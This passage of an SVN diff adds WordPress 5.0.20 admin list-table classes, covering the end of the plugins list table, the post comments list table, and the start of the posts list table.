+			if ( is_multisite() && ! $screen->in_admin( 'network' ) && is_network_only_plugin( $plugin_file ) && ! is_plugin_active( $plugin_file ) ) {
+				if ( $show_network_active ) {
+					// On the non-network screen, show inactive network-only plugins if allowed
+					$plugins['inactive'][ $plugin_file ] = $plugin_data;
+				} else {
+					// On the non-network screen, filter out network-only plugins as long as they're not individually active
+					unset( $plugins['all'][ $plugin_file ] );
+				}
+			} elseif ( ! $screen->in_admin( 'network' ) && is_plugin_active_for_network( $plugin_file ) ) {
+				if ( $show_network_active ) {
+					// On the non-network screen, show network-active plugins if allowed
+					$plugins['active'][ $plugin_file ] = $plugin_data;
+				} else {
+					// On the non-network screen, filter out network-active plugins
+					unset( $plugins['all'][ $plugin_file ] );
+				}
+			} elseif ( ( ! $screen->in_admin( 'network' ) && is_plugin_active( $plugin_file ) )
+				|| ( $screen->in_admin( 'network' ) && is_plugin_active_for_network( $plugin_file ) ) ) {
+				// On the non-network screen, populate the active list with plugins that are individually activated
+				// On the network-admin screen, populate the active list with plugins that are network activated
+				$plugins['active'][ $plugin_file ] = $plugin_data;
+			} else {
+				if ( isset( $recently_activated[ $plugin_file ] ) ) {
+					// Populate the recently activated list with plugins that have been recently activated
+					$plugins['recently_activated'][ $plugin_file ] = $plugin_data;
+				}
+				// Populate the inactive list with plugins that aren't activated
+				$plugins['inactive'][ $plugin_file ] = $plugin_data;
+			}
+		}
+
+		if ( strlen( $s ) ) {
+			$status = 'search';
+			$plugins['search'] = array_filter( $plugins['all'], array( $this, '_search_callback' ) );
+		}
+
+		$totals = array();
+		foreach ( $plugins as $type => $list )
+			$totals[ $type ] = count( $list );
+
+		if ( empty( $plugins[ $status ] ) && !in_array( $status, array( 'all', 'search' ) ) )
+			$status = 'all';
+
+		$this->items = array();
+		foreach ( $plugins[ $status ] as $plugin_file => $plugin_data ) {
+			// Translate, Don't Apply Markup, Sanitize HTML
+			$this->items[$plugin_file] = _get_plugin_data_markup_translate( $plugin_file, $plugin_data, false, true );
+		}
+
+		$total_this_page = $totals[ $status ];
+
+		$js_plugins = array();
+		foreach ( $plugins as $key => $list ) {
+			$js_plugins[ $key ] = array_keys( (array) $list );
+		}
+
+		wp_localize_script( 'updates', '_wpUpdatesItemCounts', array(
+			'plugins' => $js_plugins,
+			'totals'  => wp_get_update_data(),
+		) );
+
+		if ( ! $orderby ) {
+			$orderby = 'Name';
+		} else {
+			$orderby = ucfirst( $orderby );
+		}
+
+		$order = strtoupper( $order );
+
+		uasort( $this->items, array( $this, '_order_callback' ) );
+
+		$plugins_per_page = $this->get_items_per_page( str_replace( '-', '_', $screen->id . '_per_page' ), 999 );
+
+		$start = ( $page - 1 ) * $plugins_per_page;
+
+		if ( $total_this_page > $plugins_per_page )
+			$this->items = array_slice( $this->items, $start, $plugins_per_page );
+
+		$this->set_pagination_args( array(
+			'total_items' => $total_this_page,
+			'per_page' => $plugins_per_page,
+		) );
+	}
+
+	/**
+	 * @global string $s URL encoded search term.
+	 *
+	 * @param array $plugin
+	 * @return bool
+	 */
+	public function _search_callback( $plugin ) {
+		global $s;
+
+		foreach ( $plugin as $value ) {
+			if ( is_string( $value ) && false !== stripos( strip_tags( $value ), urldecode( $s ) ) ) {
+				return true;
+			}
+		}
+
+		return false;
+	}
+
+	/**
+	 * @global string $orderby
+	 * @global string $order
+	 * @param array $plugin_a
+	 * @param array $plugin_b
+	 * @return int
+	 */
+	public function _order_callback( $plugin_a, $plugin_b ) {
+		global $orderby, $order;
+
+		$a = $plugin_a[$orderby];
+		$b = $plugin_b[$orderby];
+
+		if ( $a == $b )
+			return 0;
+
+		if ( 'DESC' === $order ) {
+			return strcasecmp( $b, $a );
+		} else {
+			return strcasecmp( $a, $b );
+		}
+	}
+
+	/**
+	 *
+	 * @global array $plugins
+	 */
+	public function no_items() {
+		global $plugins;
+
+		if ( ! empty( $_REQUEST['s'] ) ) {
+			$s = esc_html( wp_unslash( $_REQUEST['s'] ) );
+
+			printf( __( 'No plugins found for &#8220;%s&#8221;.' ), $s );
+
+			// We assume that somebody who can install plugins in multisite is experienced enough to not need this helper link.
+			if ( ! is_multisite() && current_user_can( 'install_plugins' ) ) {
+				echo ' <a href="' . esc_url( admin_url( 'plugin-install.php?tab=search&s=' . urlencode( $s ) ) ) . '">' . __( 'Search for plugins in the WordPress Plugin Directory.' ) . '</a>';
+			}
+		} elseif ( ! empty( $plugins['all'] ) )
+			_e( 'No plugins found.' );
+		else
+			_e( 'You do not appear to have any plugins available at this time.' );
+	}
+
+	/**
+	 * Displays the search box.
+	 *
+	 * @since 4.6.0
+	 *
+	 * @param string $text     The 'submit' button label.
+	 * @param string $input_id ID attribute value for the search input field.
+	 */
+	public function search_box( $text, $input_id ) {
+		if ( empty( $_REQUEST['s'] ) && ! $this->has_items() ) {
+			return;
+		}
+
+		$input_id = $input_id . '-search-input';
+
+		if ( ! empty( $_REQUEST['orderby'] ) ) {
+			echo '<input type="hidden" name="orderby" value="' . esc_attr( $_REQUEST['orderby'] ) . '" />';
+		}
+		if ( ! empty( $_REQUEST['order'] ) ) {
+			echo '<input type="hidden" name="order" value="' . esc_attr( $_REQUEST['order'] ) . '" />';
+		}
+		?>
+		<p class="search-box">
+			<label class="screen-reader-text" for="<?php echo esc_attr( $input_id ); ?>"><?php echo $text; ?>:</label>
+			<input type="search" id="<?php echo esc_attr( $input_id ); ?>" class="wp-filter-search" name="s" value="<?php _admin_search_query(); ?>" placeholder="<?php esc_attr_e( 'Search installed plugins...' ); ?>"/>
+			<?php submit_button( $text, 'hide-if-js', '', false, array( 'id' => 'search-submit' ) ); ?>
+		</p>
+		<?php
+	}
+
+	/**
+	 *
+	 * @global string $status
+	 * @return array
+	 */
+	public function get_columns() {
+		global $status;
+
+		return array(
+			'cb'          => !in_array( $status, array( 'mustuse', 'dropins' ) ) ? '<input type="checkbox" />' : '',
+			'name'        => __( 'Plugin' ),
+			'description' => __( 'Description' ),
+		);
+	}
+
+	/**
+	 * @return array
+	 */
+	protected function get_sortable_columns() {
+		return array();
+	}
+
+	/**
+	 *
+	 * @global array $totals
+	 * @global string $status
+	 * @return array
+	 */
+	protected function get_views() {
+		global $totals, $status;
+
+		$status_links = array();
+		foreach ( $totals as $type => $count ) {
+			if ( !$count )
+				continue;
+
+			switch ( $type ) {
+				case 'all':
+					$text = _nx( 'All <span class="count">(%s)</span>', 'All <span class="count">(%s)</span>', $count, 'plugins' );
+					break;
+				case 'active':
+					$text = _n( 'Active <span class="count">(%s)</span>', 'Active <span class="count">(%s)</span>', $count );
+					break;
+				case 'recently_activated':
+					$text = _n( 'Recently Active <span class="count">(%s)</span>', 'Recently Active <span class="count">(%s)</span>', $count );
+					break;
+				case 'inactive':
+					$text = _n( 'Inactive <span class="count">(%s)</span>', 'Inactive <span class="count">(%s)</span>', $count );
+					break;
+				case 'mustuse':
+					$text = _n( 'Must-Use <span class="count">(%s)</span>', 'Must-Use <span class="count">(%s)</span>', $count );
+					break;
+				case 'dropins':
+					$text = _n( 'Drop-ins <span class="count">(%s)</span>', 'Drop-ins <span class="count">(%s)</span>', $count );
+					break;
+				case 'upgrade':
+					$text = _n( 'Update Available <span class="count">(%s)</span>', 'Update Available <span class="count">(%s)</span>', $count );
+					break;
+			}
+
+			if ( 'search' !== $type ) {
+				$status_links[$type] = sprintf( "<a href='%s'%s>%s</a>",
+					add_query_arg('plugin_status', $type, 'plugins.php'),
+					( $type === $status ) ? ' class="current" aria-current="page"' : '',
+					sprintf( $text, number_format_i18n( $count ) )
+					);
+			}
+		}
+
+		return $status_links;
+	}
+
+	/**
+	 *
+	 * @global string $status
+	 * @return array
+	 */
+	protected function get_bulk_actions() {
+		global $status;
+
+		$actions = array();
+
+		if ( 'active' != $status )
+			$actions['activate-selected'] = $this->screen->in_admin( 'network' ) ? __( 'Network Activate' ) : __( 'Activate' );
+
+		if ( 'inactive' != $status && 'recent' != $status )
+			$actions['deactivate-selected'] = $this->screen->in_admin( 'network' ) ? __( 'Network Deactivate' ) : __( 'Deactivate' );
+
+		if ( !is_multisite() || $this->screen->in_admin( 'network' ) ) {
+			if ( current_user_can( 'update_plugins' ) )
+				$actions['update-selected'] = __( 'Update' );
+			if ( current_user_can( 'delete_plugins' ) && ( 'active' != $status ) )
+				$actions['delete-selected'] = __( 'Delete' );
+		}
+
+		return $actions;
+	}
+
+	/**
+	 * @global string $status
+	 * @param string $which
+	 */
+	public function bulk_actions( $which = '' ) {
+		global $status;
+
+		if ( in_array( $status, array( 'mustuse', 'dropins' ) ) )
+			return;
+
+		parent::bulk_actions( $which );
+	}
+
+	/**
+	 * @global string $status
+	 * @param string $which
+	 */
+	protected function extra_tablenav( $which ) {
+		global $status;
+
+		if ( ! in_array($status, array('recently_activated', 'mustuse', 'dropins') ) )
+			return;
+
+		echo '<div class="alignleft actions">';
+
+		if ( 'recently_activated' == $status ) {
+			submit_button( __( 'Clear List' ), '', 'clear-recent-list', false );
+		} elseif ( 'top' === $which && 'mustuse' === $status ) {
+			/* translators: %s: mu-plugins directory name */
+			echo '<p>' . sprintf( __( 'Files in the %s directory are executed automatically.' ),
+				'<code>' . str_replace( ABSPATH, '/', WPMU_PLUGIN_DIR ) . '</code>'
+			) . '</p>';
+		} elseif ( 'top' === $which && 'dropins' === $status ) {
+			/* translators: %s: wp-content directory name */
+			echo '<p>' . sprintf( __( 'Drop-ins are advanced plugins in the %s directory that replace WordPress functionality when present.' ),
+				'<code>' . str_replace( ABSPATH, '', WP_CONTENT_DIR ) . '</code>'
+			) . '</p>';
+		}
+		echo '</div>';
+	}
+
+	/**
+	 * @return string
+	 */
+	public function current_action() {
+		if ( isset($_POST['clear-recent-list']) )
+			return 'clear-recent-list';
+
+		return parent::current_action();
+	}
+
+	/**
+	 *
+	 * @global string $status
+	 */
+	public function display_rows() {
+		global $status;
+
+		if ( is_multisite() && ! $this->screen->in_admin( 'network' ) && in_array( $status, array( 'mustuse', 'dropins' ) ) )
+			return;
+
+		foreach ( $this->items as $plugin_file => $plugin_data )
+			$this->single_row( array( $plugin_file, $plugin_data ) );
+	}
+
+	/**
+	 * @global string $status
+	 * @global int $page
+	 * @global string $s
+	 * @global array $totals
+	 *
+	 * @param array $item
+	 */
+	public function single_row( $item ) {
+		global $status, $page, $s, $totals;
+
+		list( $plugin_file, $plugin_data ) = $item;
+		$context = $status;
+		$screen = $this->screen;
+
+		// Pre-order.
+		$actions = array(
+			'deactivate' => '',
+			'activate' => '',
+			'details' => '',
+			'delete' => '',
+		);
+
+		// Do not restrict by default
+		$restrict_network_active = false;
+		$restrict_network_only = false;
+
+		if ( 'mustuse' === $context ) {
+			$is_active = true;
+		} elseif ( 'dropins' === $context ) {
+			$dropins = _get_dropins();
+			$plugin_name = $plugin_file;
+			if ( $plugin_file != $plugin_data['Name'] )
+				$plugin_name .= '<br/>' . $plugin_data['Name'];
+			if ( true === ( $dropins[ $plugin_file ][1] ) ) { // Doesn't require a constant
+				$is_active = true;
+				$description = '<p><strong>' . $dropins[ $plugin_file ][0] . '</strong></p>';
+			} elseif ( defined( $dropins[ $plugin_file ][1] ) && constant( $dropins[ $plugin_file ][1] ) ) { // Constant is true
+				$is_active = true;
+				$description = '<p><strong>' . $dropins[ $plugin_file ][0] . '</strong></p>';
+			} else {
+				$is_active = false;
+				$description = '<p><strong>' . $dropins[ $plugin_file ][0] . ' <span class="error-message">' . __( 'Inactive:' ) . '</span></strong> ' .
+					/* translators: 1: drop-in constant name, 2: wp-config.php */
+					sprintf( __( 'Requires %1$s in %2$s file.' ),
+						"<code>define('" . $dropins[ $plugin_file ][1] . "', true);</code>",
+						'<code>wp-config.php</code>'
+					) . '</p>';
+			}
+			if ( $plugin_data['Description'] )
+				$description .= '<p>' . $plugin_data['Description'] . '</p>';
+		} else {
+			if ( $screen->in_admin( 'network' ) ) {
+				$is_active = is_plugin_active_for_network( $plugin_file );
+			} else {
+				$is_active = is_plugin_active( $plugin_file );
+				$restrict_network_active = ( is_multisite() && is_plugin_active_for_network( $plugin_file ) );
+				$restrict_network_only = ( is_multisite() && is_network_only_plugin( $plugin_file ) && ! $is_active );
+			}
+
+			if ( $screen->in_admin( 'network' ) ) {
+				if ( $is_active ) {
+					if ( current_user_can( 'manage_network_plugins' ) ) {
+						/* translators: %s: plugin name */
+						$actions['deactivate'] = '<a href="' . wp_nonce_url( 'plugins.php?action=deactivate&amp;plugin=' . urlencode( $plugin_file ) . '&amp;plugin_status=' . $context . '&amp;paged=' . $page . '&amp;s=' . $s, 'deactivate-plugin_' . $plugin_file ) . '" aria-label="' . esc_attr( sprintf( _x( 'Network Deactivate %s', 'plugin' ), $plugin_data['Name'] ) ) . '">' . __( 'Network Deactivate' ) . '</a>';
+						}
+				} else {
+					if ( current_user_can( 'manage_network_plugins' ) ) {
+						/* translators: %s: plugin name */
+						$actions['activate'] = '<a href="' . wp_nonce_url( 'plugins.php?action=activate&amp;plugin=' . urlencode( $plugin_file ) . '&amp;plugin_status=' . $context . '&amp;paged=' . $page . '&amp;s=' . $s, 'activate-plugin_' . $plugin_file ) . '" class="edit" aria-label="' . esc_attr( sprintf( _x( 'Network Activate %s', 'plugin' ), $plugin_data['Name'] ) ) . '">' . __( 'Network Activate' ) . '</a>';
+					}
+					if ( current_user_can( 'delete_plugins' ) && ! is_plugin_active( $plugin_file ) ) {
+						/* translators: %s: plugin name */
+						$actions['delete'] = '<a href="' . wp_nonce_url( 'plugins.php?action=delete-selected&amp;checked[]=' . urlencode( $plugin_file ) . '&amp;plugin_status=' . $context . '&amp;paged=' . $page . '&amp;s=' . $s, 'bulk-plugins' ) . '" class="delete" aria-label="' . esc_attr( sprintf( _x( 'Delete %s', 'plugin' ), $plugin_data['Name'] ) ) . '">' . __( 'Delete' ) . '</a>';
+					}
+				}
+			} else {
+				if ( $restrict_network_active ) {
+					$actions = array(
+						'network_active' => __( 'Network Active' ),
+					);
+				} elseif ( $restrict_network_only ) {
+					$actions = array(
+						'network_only' => __( 'Network Only' ),
+					);
+				} elseif ( $is_active ) {
+					if ( current_user_can( 'deactivate_plugin', $plugin_file ) ) {
+						/* translators: %s: plugin name */
+						$actions['deactivate'] = '<a href="' . wp_nonce_url( 'plugins.php?action=deactivate&amp;plugin=' . urlencode( $plugin_file ) . '&amp;plugin_status=' . $context . '&amp;paged=' . $page . '&amp;s=' . $s, 'deactivate-plugin_' . $plugin_file ) . '" aria-label="' . esc_attr( sprintf( _x( 'Deactivate %s', 'plugin' ), $plugin_data['Name'] ) ) . '">' . __( 'Deactivate' ) . '</a>';
+					}
+				} else {
+					if ( current_user_can( 'activate_plugin', $plugin_file ) ) {
+						/* translators: %s: plugin name */
+						$actions['activate'] = '<a href="' . wp_nonce_url( 'plugins.php?action=activate&amp;plugin=' . urlencode( $plugin_file ) . '&amp;plugin_status=' . $context . '&amp;paged=' . $page . '&amp;s=' . $s, 'activate-plugin_' . $plugin_file ) . '" class="edit" aria-label="' . esc_attr( sprintf( _x( 'Activate %s', 'plugin' ), $plugin_data['Name'] ) ) . '">' . __( 'Activate' ) . '</a>';
+					}
+
+					if ( ! is_multisite() && current_user_can( 'delete_plugins' ) ) {
+						/* translators: %s: plugin name */
+						$actions['delete'] = '<a href="' . wp_nonce_url( 'plugins.php?action=delete-selected&amp;checked[]=' . urlencode( $plugin_file ) . '&amp;plugin_status=' . $context . '&amp;paged=' . $page . '&amp;s=' . $s, 'bulk-plugins' ) . '" class="delete" aria-label="' . esc_attr( sprintf( _x( 'Delete %s', 'plugin' ), $plugin_data['Name'] ) ) . '">' . __( 'Delete' ) . '</a>';
+					}
+				} // end if $is_active
+
+			 } // end if $screen->in_admin( 'network' )
+
+		} // end if $context
+
+		$actions = array_filter( $actions );
+
+		if ( $screen->in_admin( 'network' ) ) {
+
+			/**
+			 * Filters the action links displayed for each plugin in the Network Admin Plugins list table.
+			 *
+			 * @since 3.1.0
+			 *
+			 * @param array  $actions     An array of plugin action links. By default this can include 'activate',
+			 *                            'deactivate', and 'delete'.
+			 * @param string $plugin_file Path to the plugin file relative to the plugins directory.
+			 * @param array  $plugin_data An array of plugin data. See `get_plugin_data()`.
+			 * @param string $context     The plugin context. By default this can include 'all', 'active', 'inactive',
+			 *                            'recently_activated', 'upgrade', 'mustuse', 'dropins', and 'search'.
+			 */
+			$actions = apply_filters( 'network_admin_plugin_action_links', $actions, $plugin_file, $plugin_data, $context );
+
+			/**
+			 * Filters the list of action links displayed for a specific plugin in the Network Admin Plugins list table.
+			 *
+			 * The dynamic portion of the hook name, `$plugin_file`, refers to the path
+			 * to the plugin file, relative to the plugins directory.
+			 *
+			 * @since 3.1.0
+			 *
+			 * @param array  $actions     An array of plugin action links. By default this can include 'activate',
+			 *                            'deactivate', and 'delete'.
+			 * @param string $plugin_file Path to the plugin file relative to the plugins directory.
+			 * @param array  $plugin_data An array of plugin data. See `get_plugin_data()`.
+			 * @param string $context     The plugin context. By default this can include 'all', 'active', 'inactive',
+			 *                            'recently_activated', 'upgrade', 'mustuse', 'dropins', and 'search'.
+			 */
+			$actions = apply_filters( "network_admin_plugin_action_links_{$plugin_file}", $actions, $plugin_file, $plugin_data, $context );
+
+		} else {
+
+			/**
+			 * Filters the action links displayed for each plugin in the Plugins list table.
+			 *
+			 * @since 2.5.0
+			 * @since 2.6.0 The `$context` parameter was added.
+			 * @since 4.9.0 The 'Edit' link was removed from the list of action links.
+			 *
+			 * @param array  $actions     An array of plugin action links. By default this can include 'activate',
+			 *                            'deactivate', and 'delete'. With Multisite active this can also include
+			 *                            'network_active' and 'network_only' items.
+			 * @param string $plugin_file Path to the plugin file relative to the plugins directory.
+			 * @param array  $plugin_data An array of plugin data. See `get_plugin_data()`.
+			 * @param string $context     The plugin context. By default this can include 'all', 'active', 'inactive',
+			 *                            'recently_activated', 'upgrade', 'mustuse', 'dropins', and 'search'.
+			 */
+			$actions = apply_filters( 'plugin_action_links', $actions, $plugin_file, $plugin_data, $context );
+
+			/**
+			 * Filters the list of action links displayed for a specific plugin in the Plugins list table.
+			 *
+			 * The dynamic portion of the hook name, `$plugin_file`, refers to the path
+			 * to the plugin file, relative to the plugins directory.
+			 *
+			 * @since 2.7.0
+			 * @since 4.9.0 The 'Edit' link was removed from the list of action links.
+			 *
+			 * @param array  $actions     An array of plugin action links. By default this can include 'activate',
+			 *                            'deactivate', and 'delete'. With Multisite active this can also include
+			 *                            'network_active' and 'network_only' items.
+			 * @param string $plugin_file Path to the plugin file relative to the plugins directory.
+			 * @param array  $plugin_data An array of plugin data. See `get_plugin_data()`.
+			 * @param string $context     The plugin context. By default this can include 'all', 'active', 'inactive',
+			 *                            'recently_activated', 'upgrade', 'mustuse', 'dropins', and 'search'.
+			 */
+			$actions = apply_filters( "plugin_action_links_{$plugin_file}", $actions, $plugin_file, $plugin_data, $context );
+
+		}
+
+		$class = $is_active ? 'active' : 'inactive';
+		$checkbox_id =  "checkbox_" . md5($plugin_data['Name']);
+		if ( $restrict_network_active || $restrict_network_only || in_array( $status, array( 'mustuse', 'dropins' ) ) ) {
+			$checkbox = '';
+		} else {
+			$checkbox = "<label class='screen-reader-text' for='" . $checkbox_id . "' >" . sprintf( __( 'Select %s' ), $plugin_data['Name'] ) . "</label>"
+				. "<input type='checkbox' name='checked[]' value='" . esc_attr( $plugin_file ) . "' id='" . $checkbox_id . "' />";
+		}
+		if ( 'dropins' != $context ) {
+			$description = '<p>' . ( $plugin_data['Description'] ? $plugin_data['Description'] : '&nbsp;' ) . '</p>';
+			$plugin_name = $plugin_data['Name'];
+		}
+
+		if ( ! empty( $totals['upgrade'] ) && ! empty( $plugin_data['update'] ) )
+			$class .= ' update';
+
+		$plugin_slug = isset( $plugin_data['slug'] ) ? $plugin_data['slug'] : sanitize_title( $plugin_name );
+		printf( '<tr class="%s" data-slug="%s" data-plugin="%s">',
+			esc_attr( $class ),
+			esc_attr( $plugin_slug ),
+			esc_attr( $plugin_file )
+		);
+
+		list( $columns, $hidden, $sortable, $primary ) = $this->get_column_info();
+
+		foreach ( $columns as $column_name => $column_display_name ) {
+			$extra_classes = '';
+			if ( in_array( $column_name, $hidden ) ) {
+				$extra_classes = ' hidden';
+			}
+
+			switch ( $column_name ) {
+				case 'cb':
+					echo "<th scope='row' class='check-column'>$checkbox</th>";
+					break;
+				case 'name':
+					echo "<td class='plugin-title column-primary'><strong>$plugin_name</strong>";
+					echo $this->row_actions( $actions, true );
+					echo "</td>";
+					break;
+				case 'description':
+					$classes = 'column-description desc';
+
+					echo "<td class='$classes{$extra_classes}'>
+						<div class='plugin-description'>$description</div>
+						<div class='$class second plugin-version-author-uri'>";
+
+					$plugin_meta = array();
+					if ( !empty( $plugin_data['Version'] ) )
+						$plugin_meta[] = sprintf( __( 'Version %s' ), $plugin_data['Version'] );
+					if ( !empty( $plugin_data['Author'] ) ) {
+						$author = $plugin_data['Author'];
+						if ( !empty( $plugin_data['AuthorURI'] ) )
+							$author = '<a href="' . $plugin_data['AuthorURI'] . '">' . $plugin_data['Author'] . '</a>';
+						$plugin_meta[] = sprintf( __( 'By %s' ), $author );
+					}
+
+					// Details link using API info, if available
+					if ( isset( $plugin_data['slug'] ) && current_user_can( 'install_plugins' ) ) {
+						$plugin_meta[] = sprintf( '<a href="%s" class="thickbox open-plugin-details-modal" aria-label="%s" data-title="%s">%s</a>',
+							esc_url( network_admin_url( 'plugin-install.php?tab=plugin-information&plugin=' . $plugin_data['slug'] .
+								'&TB_iframe=true&width=600&height=550' ) ),
+							esc_attr( sprintf( __( 'More information about %s' ), $plugin_name ) ),
+							esc_attr( $plugin_name ),
+							__( 'View details' )
+						);
+					} elseif ( ! empty( $plugin_data['PluginURI'] ) ) {
+						$plugin_meta[] = sprintf( '<a href="%s">%s</a>',
+							esc_url( $plugin_data['PluginURI'] ),
+							__( 'Visit plugin site' )
+						);
+					}
+
+					/**
+					 * Filters the array of row meta for each plugin in the Plugins list table.
+					 *
+					 * @since 2.8.0
+					 *
+					 * @param array  $plugin_meta An array of the plugin's metadata,
+					 *                            including the version, author,
+					 *                            author URI, and plugin URI.
+					 * @param string $plugin_file Path to the plugin file, relative to the plugins directory.
+					 * @param array  $plugin_data An array of plugin data.
+					 * @param string $status      Status of the plugin. Defaults are 'All', 'Active',
+					 *                            'Inactive', 'Recently Activated', 'Upgrade', 'Must-Use',
+					 *                            'Drop-ins', 'Search'.
+					 */
+					$plugin_meta = apply_filters( 'plugin_row_meta', $plugin_meta, $plugin_file, $plugin_data, $status );
+					echo implode( ' | ', $plugin_meta );
+
+					echo "</div></td>";
+					break;
+				default:
+					$classes = "$column_name column-$column_name $class";
+
+					echo "<td class='$classes{$extra_classes}'>";
+
+					/**
+					 * Fires inside each custom column of the Plugins list table.
+					 *
+					 * @since 3.1.0
+					 *
+					 * @param string $column_name Name of the column.
+					 * @param string $plugin_file Path to the plugin file.
+					 * @param array  $plugin_data An array of plugin data.
+					 */
+					do_action( 'manage_plugins_custom_column', $column_name, $plugin_file, $plugin_data );
+
+					echo "</td>";
+			}
+		}
+
+		echo "</tr>";
+
+		/**
+		 * Fires after each row in the Plugins list table.
+		 *
+		 * @since 2.3.0
+		 *
+		 * @param string $plugin_file Path to the plugin file, relative to the plugins directory.
+		 * @param array  $plugin_data An array of plugin data.
+		 * @param string $status      Status of the plugin. Defaults are 'All', 'Active',
+		 *                            'Inactive', 'Recently Activated', 'Upgrade', 'Must-Use',
+		 *                            'Drop-ins', 'Search'.
+		 */
+		do_action( 'after_plugin_row', $plugin_file, $plugin_data, $status );
+
+		/**
+		 * Fires after each specific row in the Plugins list table.
+		 *
+		 * The dynamic portion of the hook name, `$plugin_file`, refers to the path
+		 * to the plugin file, relative to the plugins directory.
+		 *
+		 * @since 2.7.0
+		 *
+		 * @param string $plugin_file Path to the plugin file, relative to the plugins directory.
+		 * @param array  $plugin_data An array of plugin data.
+		 * @param string $status      Status of the plugin. Defaults are 'All', 'Active',
+		 *                            'Inactive', 'Recently Activated', 'Upgrade', 'Must-Use',
+		 *                            'Drop-ins', 'Search'.
+		 */
+		do_action( "after_plugin_row_{$plugin_file}", $plugin_file, $plugin_data, $status );
+	}
+
+	/**
+	 * Gets the name of the primary column for this specific list table.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @return string Unalterable name for the primary column, in this case, 'name'.
+	 */
+	protected function get_primary_column_name() {
+		return 'name';
+	}
+}
Index: /tags/5.0.20/src/wp-admin/includes/class-wp-post-comments-list-table.php
===================================================================
--- /tags/5.0.20/src/wp-admin/includes/class-wp-post-comments-list-table.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/includes/class-wp-post-comments-list-table.php	(revision 56912)
@@ -0,0 +1,77 @@
+<?php
+/**
+ * List Table API: WP_Post_Comments_List_Table class
+ *
+ * @package WordPress
+ * @subpackage Administration
+ * @since 4.4.0
+ */
+
+/**
+ * Core class used to implement displaying post comments in a list table.
+ *
+ * @since 3.1.0
+ * @access private
+ *
+ * @see WP_Comments_List_Table
+ */
+class WP_Post_Comments_List_Table extends WP_Comments_List_Table {
+
+	/**
+	 *
+	 * @return array
+	 */
+	protected function get_column_info() {
+		return array(
+			array(
+				'author'   => __( 'Author' ),
+				'comment'  => _x( 'Comment', 'column name' ),
+			),
+			array(),
+			array(),
+			'comment',
+		);
+	}
+
+	/**
+	 *
+	 * @return array
+	 */
+	protected function get_table_classes() {
+		$classes = parent::get_table_classes();
+		$classes[] = 'wp-list-table';
+		$classes[] = 'comments-box';
+		return $classes;
+	}
+
+	/**
+	 *
+	 * @param bool $output_empty
+	 */
+	public function display( $output_empty = false ) {
+		$singular = $this->_args['singular'];
+
+		wp_nonce_field( "fetch-list-" . get_class( $this ), '_ajax_fetch_list_nonce' );
+?>
+<table class="<?php echo implode( ' ', $this->get_table_classes() ); ?>" style="display:none;">
+	<tbody id="the-comment-list"<?php
+		if ( $singular ) {
+			echo " data-wp-lists='list:$singular'";
+		} ?>>
+		<?php if ( ! $output_empty ) {
+			$this->display_rows_or_placeholder();
+		} ?>
+	</tbody>
+</table>
+<?php
+	}
+
+	/**
+	 *
+	 * @param bool $comment_status
+	 * @return int
+	 */
+	public function get_per_page( $comment_status = false ) {
+		return 10;
+	}
+}
Index: /tags/5.0.20/src/wp-admin/includes/class-wp-posts-list-table.php
===================================================================
--- /tags/5.0.20/src/wp-admin/includes/class-wp-posts-list-table.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/includes/class-wp-posts-list-table.php	(revision 56912)
@@ -0,0 +1,1790 @@
+<?php
+/**
+ * List Table API: WP_Posts_List_Table class
+ *
+ * @package WordPress
+ * @subpackage Administration
+ * @since 3.1.0
+ */
+
+/**
+ * Core class used to implement displaying posts in a list table.
+ *
+ * @since 3.1.0
+ * @access private
+ *
+ * @see WP_List_Table
+ */
+class WP_Posts_List_Table extends WP_List_Table {
+
+	/**
+	 * Whether the items should be displayed hierarchically or linearly.
+	 *
+	 * @since 3.1.0
+	 * @var bool
+	 */
+	protected $hierarchical_display;
+
+	/**
+	 * Holds the number of pending comments for each post.
+	 *
+	 * @since 3.1.0
+	 * @var array
+	 */
+	protected $comment_pending_count;
+
+	/**
+	 * Holds the number of posts for this user.
+	 *
+	 * @since 3.1.0
+	 * @var int
+	 */
+	private $user_posts_count;
+
+	/**
+	 * Holds the number of posts which are sticky.
+	 *
+	 * @since 3.1.0
+	 * @var int
+	 */
+	private $sticky_posts_count = 0;
+
+	private $is_trash;
+
+	/**
+	 * Current level for output.
+	 *
+	 * @since 4.3.0
+	 * @var int
+	 */
+	protected $current_level = 0;
+
+	/**
+	 * Constructor.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @see WP_List_Table::__construct() for more information on default arguments.
+	 *
+	 * @global WP_Post_Type $post_type_object
+	 * @global wpdb         $wpdb
+	 *
+	 * @param array $args An associative array of arguments.
+	 */
+	public function __construct( $args = array() ) {
+		global $post_type_object, $wpdb;
+
+		parent::__construct( array(
+			'plural' => 'posts',
+			'screen' => isset( $args['screen'] ) ? $args['screen'] : null,
+		) );
+
+		$post_type        = $this->screen->post_type;
+		$post_type_object = get_post_type_object( $post_type );
+
+		$exclude_states   = get_post_stati( array(
+			'show_in_admin_all_list' => false,
+		) );
+		$this->user_posts_count = intval( $wpdb->get_var( $wpdb->prepare( "
+			SELECT COUNT( 1 )
+			FROM $wpdb->posts
+			WHERE post_type = %s
+			AND post_status NOT IN ( '" . implode( "','", $exclude_states ) . "' )
+			AND post_author = %d
+		", $post_type, get_current_user_id() ) ) );
+
+		if ( $this->user_posts_count && ! current_user_can( $post_type_object->cap->edit_others_posts ) && empty( $_REQUEST['post_status'] ) && empty( $_REQUEST['all_posts'] ) && empty( $_REQUEST['author'] ) && empty( $_REQUEST['show_sticky'] ) ) {
+			$_GET['author'] = get_current_user_id();
+		}
+
+		if ( 'post' === $post_type && $sticky_posts = get_option( 'sticky_posts' ) ) {
+			$sticky_posts = implode( ', ', array_map( 'absint', (array) $sticky_posts ) );
+			$this->sticky_posts_count = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT( 1 ) FROM $wpdb->posts WHERE post_type = %s AND post_status NOT IN ('trash', 'auto-draft') AND ID IN ($sticky_posts)", $post_type ) );
+		}
+	}
+
+	/**
+	 * Sets whether the table layout should be hierarchical or not.
+	 *
+	 * @since 4.2.0
+	 *
+	 * @param bool $display Whether the table layout should be hierarchical.
+	 */
+	public function set_hierarchical_display( $display ) {
+		$this->hierarchical_display = $display;
+	}
+
+	/**
+	 *
+	 * @return bool
+	 */
+	public function ajax_user_can() {
+		return current_user_can( get_post_type_object( $this->screen->post_type )->cap->edit_posts );
+	}
+
+	/**
+	 *
+	 * @global array    $avail_post_stati
+	 * @global WP_Query $wp_query
+	 * @global int      $per_page
+	 * @global string   $mode
+	 */
